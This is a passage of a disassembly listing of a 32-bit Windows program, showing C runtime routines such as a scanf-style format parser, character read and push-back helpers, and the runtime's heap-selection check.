[ebp+var_F] jmp short loc_40F750 ; --------------------------------------------------------------------------- loc_40F742: ; CODE XREF: sub_40F5E2+154j inc [ebp+var_D] loc_40F745: ; CODE XREF: sub_40F5E2+159j inc [ebp+var_5] jmp short loc_40F750 ; --------------------------------------------------------------------------- loc_40F74A: ; CODE XREF: sub_40F5E2+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_40F750: ; CODE XREF: sub_40F5E2+107j ; sub_40F5E2+10Ej ... cmp [ebp+var_F], 0 jz loc_40F6A9 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_40F775 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_40F775: ; CODE XREF: sub_40F5E2+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_40F793 mov al, [esi] cmp al, 53h jz short loc_40F78F cmp al, 43h jz short loc_40F78F or [ebp+var_5], 0FFh jmp short loc_40F793 ; --------------------------------------------------------------------------- loc_40F78F: ; CODE XREF: sub_40F5E2+1A1j ; sub_40F5E2+1A5j mov [ebp+var_5], 1 loc_40F793: ; CODE XREF: sub_40F5E2+19Bj ; sub_40F5E2+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_40F7CC cmp esi, 63h jz short loc_40F7BD cmp esi, 7Bh jz short loc_40F7BD push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41006F pop ecx jmp short loc_40F7C8 ; --------------------------------------------------------------------------- loc_40F7BD: ; CODE XREF: sub_40F5E2+1C5j ; sub_40F5E2+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41003E loc_40F7C8: ; CODE XREF: sub_40F5E2+1D9j pop ecx mov [ebp+var_14], eax loc_40F7CC: ; CODE XREF: sub_40F5E2+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_40F7DC cmp [ebp+var_C], eax jz loc_40FFB8 loc_40F7DC: ; CODE XREF: sub_40F5E2+1EFj cmp esi, 6Fh jg loc_40FA43 jz loc_40FCF5 cmp esi, 63h jz loc_40FA20 cmp esi, 64h jz loc_40FCF5 jle loc_40FA6D cmp esi, 67h jle short loc_40F840 cmp esi, 69h jz short loc_40F828 cmp esi, 6Eh jnz loc_40FA6D cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_40FF23 jmp loc_40FF49 ; --------------------------------------------------------------------------- loc_40F828: ; CODE XREF: sub_40F5E2+229j push 64h pop esi loc_40F82B: ; CODE XREF: sub_40F5E2+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_40FAB5 mov [ebp+var_17], 1 jmp loc_40FABA ; --------------------------------------------------------------------------- loc_40F840: ; CODE XREF: sub_40F5E2+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_40F85C mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_40F861 ; --------------------------------------------------------------------------- loc_40F85C: ; CODE XREF: sub_40F5E2+26Aj cmp ebx, 2Bh jnz short loc_40F878 loc_40F861: ; CODE XREF: sub_40F5E2+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41003E mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40F87B ; --------------------------------------------------------------------------- loc_40F878: ; CODE XREF: sub_40F5E2+27Dj mov edi, [ebp+arg_0] loc_40F87B: ; CODE XREF: sub_40F5E2+294j cmp [ebp+var_20], 0 jz short loc_40F88A cmp [ebp+var_C], 15Dh jle short loc_40F891 loc_40F88A: ; CODE XREF: sub_40F5E2+29Dj mov [ebp+var_C], 15Dh loc_40F891: ; CODE XREF: sub_40F5E2+2A6j ; sub_40F5E2+2F2j cmp dword_422004, 1 jle short loc_40F8A6 push 4 push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40F8B1 ; --------------------------------------------------------------------------- loc_40F8A6: ; CODE XREF: sub_40F5E2+2B6j mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 4 loc_40F8B1: ; CODE XREF: sub_40F5E2+2C2j test eax, eax jz short loc_40F8D6 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40F8D6 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41003E mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40F891 ; --------------------------------------------------------------------------- loc_40F8D6: ; CODE XREF: sub_40F5E2+2D1j ; sub_40F5E2+2DBj cmp byte_422008, bl jnz short loc_40F944 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40F944 inc [ebp+var_4] push edi call sub_41003E mov ebx, eax mov al, byte_422008 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_40F8FF: ; CODE XREF: sub_40F5E2+360j cmp dword_422004, 1 jle short loc_40F914 push 4 push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40F91F ; --------------------------------------------------------------------------- loc_40F914: ; CODE XREF: sub_40F5E2+324j mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 4 loc_40F91F: ; CODE XREF: sub_40F5E2+330j test eax, eax jz short loc_40F944 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40F944 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41003E mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40F8FF ; --------------------------------------------------------------------------- loc_40F944: ; CODE XREF: sub_40F5E2+2FAj ; sub_40F5E2+304j ... cmp [ebp+var_1C], 0 jz loc_40F9DC cmp ebx, 65h jz short loc_40F95C cmp ebx, 45h jnz loc_40F9DC loc_40F95C: ; CODE XREF: sub_40F5E2+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40F9DC mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41003E mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_40F983 mov [esi], al inc esi jmp short loc_40F988 ; --------------------------------------------------------------------------- loc_40F983: ; CODE XREF: sub_40F5E2+39Aj cmp ebx, 2Bh jnz short loc_40F9A6 loc_40F988: ; CODE XREF: sub_40F5E2+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_40F997 and [ebp+var_C], eax jmp short loc_40F9A6 ; --------------------------------------------------------------------------- loc_40F997: ; CODE XREF: sub_40F5E2+3AEj ; sub_40F5E2+3F8j inc [ebp+var_4] push edi call sub_41003E mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_40F9A6: ; CODE XREF: sub_40F5E2+3A4j ; sub_40F5E2+3B3j cmp dword_422004, 1 jle short loc_40F9BB push 4 push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40F9C6 ; --------------------------------------------------------------------------- loc_40F9BB: ; CODE XREF: sub_40F5E2+3CBj mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 4 loc_40F9C6: ; CODE XREF: sub_40F5E2+3D7j test eax, eax jz short loc_40F9DC mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40F9DC inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_40F997 ; --------------------------------------------------------------------------- loc_40F9DC: ; CODE XREF: sub_40F5E2+366j ; sub_40F5E2+374j ... dec [ebp+var_4] push edi push ebx call sub_410058 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_40FFE8 cmp [ebp+var_E], 0 jnz loc_40FF49 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_421DD8 add esp, 0Ch jmp loc_40FF49 ; --------------------------------------------------------------------------- loc_40FA20: ; CODE XREF: sub_40F5E2+20Cj cmp [ebp+var_20], eax jnz short loc_40FA2F inc [ebp+var_C] mov [ebp+var_20], 1 loc_40FA2F: ; CODE XREF: sub_40F5E2+441j cmp [ebp+var_5], 0 jle short loc_40FA39 mov [ebp+var_16], 1 loc_40FA39: ; CODE XREF: sub_40F5E2+451j mov edi, offset dword_41FC88 jmp loc_40FB4E ; --------------------------------------------------------------------------- loc_40FA43: ; CODE XREF: sub_40F5E2+1FDj mov eax, esi sub eax, 70h jz loc_40FCF1 sub eax, 3 jz loc_40FB3F dec eax dec eax jz loc_40FCF5 sub eax, 3 jz loc_40F82B sub eax, 3 jz short loc_40FA91 loc_40FA6D: ; CODE XREF: sub_40F5E2+21Bj ; sub_40F5E2+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_40FFB8 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_40FF49 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_40FF49 ; --------------------------------------------------------------------------- loc_40FA91: ; CODE XREF: sub_40F5E2+489j cmp [ebp+var_5], 0 jle short loc_40FA9B mov [ebp+var_16], 1 loc_40FA9B: ; CODE XREF: sub_40F5E2+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_40FB52 mov eax, edi lea edi, [eax+1] jmp loc_40FB4E ; --------------------------------------------------------------------------- loc_40FAB5: ; CODE XREF: sub_40F5E2+24Fj cmp ebx, 2Bh jnz short loc_40FADC loc_40FABA: ; CODE XREF: sub_40F5E2+259j dec [ebp+var_C] jnz short loc_40FACB cmp [ebp+var_20], 0 jz short loc_40FACB mov [ebp+var_F], 1 jmp short loc_40FADC ; --------------------------------------------------------------------------- loc_40FACB: ; CODE XREF: sub_40F5E2+4DBj ; sub_40F5E2+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41003E mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_40FADC: ; CODE XREF: sub_40F5E2+4D6j ; sub_40F5E2+4E7j cmp ebx, 30h jnz loc_40FD2A push [ebp+arg_0] inc [ebp+var_4] call sub_41003E mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_40FB2A cmp bl, 58h jz short loc_40FB2A cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_40FB14 push 6Fh loc_40FB0E: ; CODE XREF: sub_40F5E2+55Bj pop esi jmp loc_40FD2A ; --------------------------------------------------------------------------- loc_40FB14: ; CODE XREF: sub_40F5E2+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_410058 pop ecx pop ecx push 30h pop ebx jmp loc_40FD27 ; --------------------------------------------------------------------------- loc_40FB2A: ; CODE XREF: sub_40F5E2+517j ; sub_40F5E2+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41003E pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_40FB0E ; --------------------------------------------------------------------------- loc_40FB3F: ; CODE XREF: sub_40F5E2+46Fj cmp [ebp+var_5], 0 jle short loc_40FB49 mov [ebp+var_16], 1 loc_40FB49: ; CODE XREF: sub_40F5E2+561j mov edi, offset dword_41FC80 loc_40FB4E: ; CODE XREF: sub_40F5E2+45Cj ; sub_40F5E2+4CEj or [ebp+var_18], 0FFh loc_40FB52: ; CODE XREF: sub_40F5E2+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_40CC40 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_40FB76 cmp byte ptr [edi], 5Dh jnz short loc_40FB76 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_40FB79 ; --------------------------------------------------------------------------- loc_40FB76: ; CODE XREF: sub_40F5E2+584j ; sub_40F5E2+589j mov dl, [ebp+var_35] loc_40FB79: ; CODE XREF: sub_40F5E2+592j ; sub_40F5E2+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_40FBDE inc edi cmp al, 2Dh jnz short loc_40FBC5 test dl, dl jz short loc_40FBC5 mov cl, [edi] cmp cl, 5Dh jz short loc_40FBC5 inc edi cmp dl, cl jnb short loc_40FB98 mov al, cl jmp short loc_40FB9C ; --------------------------------------------------------------------------- loc_40FB98: ; CODE XREF: sub_40F5E2+5B0j mov al, dl mov dl, cl loc_40FB9C: ; CODE XREF: sub_40F5E2+5B4j cmp dl, al ja short loc_40FBC1 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_40FBA9: ; CODE XREF: sub_40F5E2+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_40FBA9 loc_40FBC1: ; CODE XREF: sub_40F5E2+5BCj xor dl, dl jmp short loc_40FB79 ; --------------------------------------------------------------------------- loc_40FBC5: ; CODE XREF: sub_40F5E2+5A0j ; sub_40F5E2+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_40FB79 ; --------------------------------------------------------------------------- loc_40FBDE: ; CODE XREF: sub_40F5E2+59Bj cmp byte ptr [edi], 0 jz loc_40FFE8 cmp [ebp+var_3C], 7Bh jnz short loc_40FBF0 mov [ebp+arg_4], edi loc_40FBF0: ; CODE XREF: sub_40F5E2+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_410058 pop ecx pop ecx loc_40FC07: ; CODE XREF: sub_40F5E2+6BCj ; sub_40F5E2+6C4j cmp [ebp+var_20], 0 jz short loc_40FC1B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_40FCB7 loc_40FC1B: ; CODE XREF: sub_40F5E2+629j inc [ebp+var_4] push edi call sub_41003E cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_40FCAB mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_40FCAB cmp [ebp+var_E], 0 jnz short loc_40FCA3 cmp [ebp+var_16], 0 jz short loc_40FC98 mov ecx, off_421DF8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_40FC77 inc [ebp+var_4] push edi call sub_41003E pop ecx mov [ebp+var_37], al loc_40FC77: ; CODE XREF: sub_40F5E2+686j push dword_422004 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_414B04 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_40FC9B ; --------------------------------------------------------------------------- loc_40FC98: ; CODE XREF: sub_40F5E2+673j mov [esi], al inc esi loc_40FC9B: ; CODE XREF: sub_40F5E2+6B4j mov [ebp+var_2C], esi jmp loc_40FC07 ; --------------------------------------------------------------------------- loc_40FCA3: ; CODE XREF: sub_40F5E2+66Dj inc [ebp+var_30] jmp loc_40FC07 ; --------------------------------------------------------------------------- loc_40FCAB: ; CODE XREF: sub_40F5E2+649j ; sub_40F5E2+667j dec [ebp+var_4] push edi push eax call sub_410058 pop ecx pop ecx loc_40FCB7: ; CODE XREF: sub_40F5E2+633j cmp [ebp+var_30], esi jz loc_40FFE8 cmp [ebp+var_E], 0 jnz loc_40FF49 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_40FF49 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_40FCE9 and word ptr [eax], 0 jmp loc_40FF49 ; --------------------------------------------------------------------------- loc_40FCE9: ; CODE XREF: sub_40F5E2+6FCj and byte ptr [eax], 0 jmp loc_40FF49 ; --------------------------------------------------------------------------- loc_40FCF1: ; CODE XREF: sub_40F5E2+466j mov [ebp+var_D], 1 loc_40FCF5: ; CODE XREF: sub_40F5E2+203j ; sub_40F5E2+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_40FD03 mov [ebp+var_17], 1 jmp short loc_40FD08 ; --------------------------------------------------------------------------- loc_40FD03: ; CODE XREF: sub_40F5E2+719j cmp ebx, 2Bh jnz short loc_40FD2A loc_40FD08: ; CODE XREF: sub_40F5E2+71Fj dec [ebp+var_C] jnz short loc_40FD19 cmp [ebp+var_20], 0 jz short loc_40FD19 mov [ebp+var_F], 1 jmp short loc_40FD2A ; --------------------------------------------------------------------------- loc_40FD19: ; CODE XREF: sub_40F5E2+729j ; sub_40F5E2+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41003E pop ecx mov ebx, eax loc_40FD27: ; CODE XREF: sub_40F5E2+543j mov [ebp+var_14], ebx loc_40FD2A: ; CODE XREF: sub_40F5E2+4FDj ; sub_40F5E2+52Dj ... cmp [ebp+var_30], 0 jz loc_40FE43 cmp [ebp+var_F], 0 jnz loc_40FE21 loc_40FD3E: ; CODE XREF: sub_40F5E2+82Cj cmp esi, 78h jnz short loc_40FD92 cmp dword_422004, 1 jle short loc_40FD5B push 80h push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40FD68 ; --------------------------------------------------------------------------- loc_40FD5B: ; CODE XREF: sub_40F5E2+768j mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 80h loc_40FD68: ; CODE XREF: sub_40F5E2+777j test eax, eax jz loc_40FE13 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_414C00 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_410007 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40FDE5 ; --------------------------------------------------------------------------- loc_40FD92: ; CODE XREF: sub_40F5E2+75Fj cmp dword_422004, 1 jle short loc_40FDA7 push 4 push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40FDB2 ; --------------------------------------------------------------------------- loc_40FDA7: ; CODE XREF: sub_40F5E2+7B7j mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 4 loc_40FDB2: ; CODE XREF: sub_40F5E2+7C3j test eax, eax jz short loc_40FE13 cmp esi, 6Fh jnz short loc_40FDD0 cmp ebx, 38h jge short loc_40FE13 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_414C00 jmp short loc_40FDDF ; --------------------------------------------------------------------------- loc_40FDD0: ; CODE XREF: sub_40F5E2+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_40DDE0 loc_40FDDF: ; CODE XREF: sub_40F5E2+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_40FDE5: ; CODE XREF: sub_40F5E2+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_40FDFD dec [ebp+var_C] jz short loc_40FE21 loc_40FDFD: ; CODE XREF: sub_40F5E2+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41003E mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_40FD3E ; --------------------------------------------------------------------------- loc_40FE13: ; CODE XREF: sub_40F5E2+788j ; sub_40F5E2+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_410058 pop ecx pop ecx loc_40FE21: ; CODE XREF: sub_40F5E2+756j ; sub_40F5E2+819j cmp [ebp+var_17], 0 jz loc_40FF07 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_40FF07 ; --------------------------------------------------------------------------- loc_40FE43: ; CODE XREF: sub_40F5E2+74Cj cmp [ebp+var_F], 0 jnz loc_40FEFF loc_40FE4D: ; CODE XREF: sub_40F5E2+90Aj cmp esi, 78h jz short loc_40FE91 cmp esi, 70h jz short loc_40FE91 cmp dword_422004, 1 jle short loc_40FE6C push 4 push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40FE77 ; --------------------------------------------------------------------------- loc_40FE6C: ; CODE XREF: sub_40F5E2+87Cj mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 4 loc_40FE77: ; CODE XREF: sub_40F5E2+888j test eax, eax jz short loc_40FEF1 cmp esi, 6Fh jnz short loc_40FE8A cmp ebx, 38h jge short loc_40FEF1 shl edi, 3 jmp short loc_40FEC9 ; --------------------------------------------------------------------------- loc_40FE8A: ; CODE XREF: sub_40F5E2+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_40FEC9 ; --------------------------------------------------------------------------- loc_40FE91: ; CODE XREF: sub_40F5E2+86Ej ; sub_40F5E2+873j cmp dword_422004, 1 jle short loc_40FEA9 push 80h push ebx call sub_412B49 pop ecx pop ecx jmp short loc_40FEB6 ; --------------------------------------------------------------------------- loc_40FEA9: ; CODE XREF: sub_40F5E2+8B6j mov eax, off_421DF8 mov al, [eax+ebx*2] and eax, 80h loc_40FEB6: ; CODE XREF: sub_40F5E2+8C5j test eax, eax jz short loc_40FEF1 push ebx shl edi, 4 call sub_410007 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_40FEC9: ; CODE XREF: sub_40F5E2+8A6j ; sub_40F5E2+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_40FEDB dec [ebp+var_C] jz short loc_40FEFF loc_40FEDB: ; CODE XREF: sub_40F5E2+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41003E mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_40FE4D ; --------------------------------------------------------------------------- loc_40FEF1: ; CODE XREF: sub_40F5E2+897j ; sub_40F5E2+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_410058 pop ecx pop ecx loc_40FEFF: ; CODE XREF: sub_40F5E2+865j ; sub_40F5E2+8F7j cmp [ebp+var_17], 0 jz short loc_40FF07 neg edi loc_40FF07: ; CODE XREF: sub_40F5E2+843j ; sub_40F5E2+85Cj ... cmp esi, 46h jnz short loc_40FF10 and [ebp+var_1C], 0 loc_40FF10: ; CODE XREF: sub_40F5E2+928j cmp [ebp+var_1C], 0 jz loc_40FFE8 cmp [ebp+var_E], 0 jnz short loc_40FF49 inc [ebp+var_34] loc_40FF23: ; CODE XREF: sub_40F5E2+23Bj cmp [ebp+var_30], 0 jz short loc_40FF39 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_40FF49 ; --------------------------------------------------------------------------- loc_40FF39: ; CODE XREF: sub_40F5E2+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_40FF46 mov [eax], edi jmp short loc_40FF49 ; --------------------------------------------------------------------------- loc_40FF46: ; CODE XREF: sub_40F5E2+95Ej mov [eax], di loc_40FF49: ; CODE XREF: sub_40F5E2+241j ; sub_40F5E2+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_40FF96 ; --------------------------------------------------------------------------- loc_40FF54: ; CODE XREF: sub_40F5E2+93j inc [ebp+var_4] push edi call sub_41003E mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_40FFC3 mov ecx, off_421DF8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_40FF96 inc [ebp+var_4] push edi call sub_41003E pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_40FFD1 dec [ebp+var_4] loc_40FF96: ; CODE XREF: sub_40F5E2+970j ; sub_40F5E2+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_40FFAC cmp byte ptr [esi], 25h jnz short loc_40FFEE mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_40FFEE mov esi, eax loc_40FFAC: ; CODE XREF: sub_40F5E2+9B8j mov al, [esi] test al, al jnz loc_40F60C jmp short loc_40FFE8 ; --------------------------------------------------------------------------- loc_40FFB8: ; CODE XREF: sub_40F5E2+1F4j ; sub_40F5E2+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_40FFC8 ; --------------------------------------------------------------------------- loc_40FFC3: ; CODE XREF: sub_40F5E2+98Aj dec [ebp+var_4] push edi push ebx loc_40FFC8: ; CODE XREF: sub_40F5E2+9DFj call sub_410058 pop ecx pop ecx jmp short loc_40FFE8 ; --------------------------------------------------------------------------- loc_40FFD1: ; CODE XREF: sub_40F5E2+9AFj dec [ebp+var_4] push edi push eax call sub_410058 dec [ebp+var_4] push edi push ebx call sub_410058 add esp, 10h loc_40FFE8: ; CODE XREF: sub_40F5E2+1Fj ; sub_40F5E2+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_40FFFF loc_40FFEE: ; CODE XREF: sub_40F5E2+9BDj ; sub_40F5E2+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_410002 cmp [ebp+var_15], al jnz short loc_410002 or eax, 0FFFFFFFFh jmp short loc_410002 ; --------------------------------------------------------------------------- loc_40FFFF: ; CODE XREF: sub_40F5E2+A0Aj mov eax, [ebp+var_34] loc_410002: ; CODE XREF: sub_40F5E2+A11j ; sub_40F5E2+A16j ... pop edi pop esi pop ebx leave retn sub_40F5E2 endp ; =============== S U B R O U T I N E ======================================= sub_410007 proc near ; CODE XREF: sub_40F5E2+7A3p ; sub_40F5E2+8DCp arg_0 = dword ptr 4 cmp dword_422004, 1 push esi jle short loc_410021 mov esi, [esp+4+arg_0] push 4 push esi call sub_412B49 pop ecx pop ecx jmp short loc_410030 ; --------------------------------------------------------------------------- loc_410021: ; CODE XREF: sub_410007+8j mov esi, [esp+4+arg_0] mov eax, off_421DF8 mov al, [eax+esi*2] and eax, 4 loc_410030: ; CODE XREF: sub_410007+18j test eax, eax jnz short loc_41003A and esi, 0FFFFFFDFh sub esi, 7 loc_41003A: ; CODE XREF: sub_410007+2Bj mov eax, esi pop esi retn sub_410007 endp ; =============== S U B R O U T I N E ======================================= sub_41003E proc near ; CODE XREF: sub_40F5E2+1E1p ; sub_40F5E2+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_410050 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_410050: ; CODE XREF: sub_41003E+7j push edx loc_410051: ; DATA XREF: .nsp0:0041ABDDo ; .nsp0:0041B40Do call sub_412DA9 pop ecx retn sub_41003E endp ; =============== S U B R O U T I N E ======================================= sub_410058 proc near ; CODE XREF: sub_40F5E2+6Bp ; sub_40F5E2+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41006E push [esp+arg_4] push [esp+4+arg_0] call sub_414C1F pop ecx pop ecx locret_41006E: ; CODE XREF: sub_410058+5j retn sub_410058 endp ; =============== S U B R O U T I N E ======================================= sub_41006F proc near ; CODE XREF: sub_40F5E2+63p ; sub_40F5E2+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_410075: ; CODE XREF: sub_41006F+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41003E mov edi, eax push edi call sub_414BCC pop ecx test eax, eax pop ecx jnz short loc_410075 mov eax, edi pop edi pop esi retn sub_41006F endp ; =============== S U B R O U T I N E ======================================= sub_410093 proc near ; CODE XREF: sub_40CCE1+1Fp ; sub_40DB08+126p ... arg_0 = dword ptr 4 mov eax, dword_481E18 test eax, eax jz short loc_4100AB push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_4100AB push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4100AB: ; CODE XREF: sub_410093+7j ; sub_410093+12j xor eax, eax retn sub_410093 endp ; =============== S U B R O U T I N E ======================================= sub_4100AE proc near ; CODE XREF: sub_4100DB+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_418094 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_4100D9 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_4100D9 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_4100D9: ; CODE XREF: sub_4100AE+15j ; sub_4100AE+1Cj pop esi retn sub_4100AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_410223+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_40CCA0 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_4180E0 ; GetVersionExA test eax, eax jz short loc_41011E cmp [ebp+var_88], 2 jnz short loc_41011E cmp [ebp+var_94], 5 jb short loc_41011E push 1 pop eax jmp loc_410220 ; --------------------------------------------------------------------------- loc_41011E: ; CODE XREF: sub_4100DB+27j ; sub_4100DB+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_418134 ; GetEnvironmentVariableA test eax, eax jz loc_41020D xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_410160 loc_41014D: ; CODE XREF: sub_4100DB+83j mov al, [ecx] cmp al, 61h jl short loc_41015B cmp al, 7Ah jg short loc_41015B sub al, 20h mov [ecx], al loc_41015B: ; CODE XREF: sub_4100DB+76j ; sub_4100DB+7Aj inc ecx cmp [ecx], bl jnz short loc_41014D loc_410160: ; CODE XREF: sub_4100DB+70j lea eax, [ebp+var_122C] push 16h push eax push offset 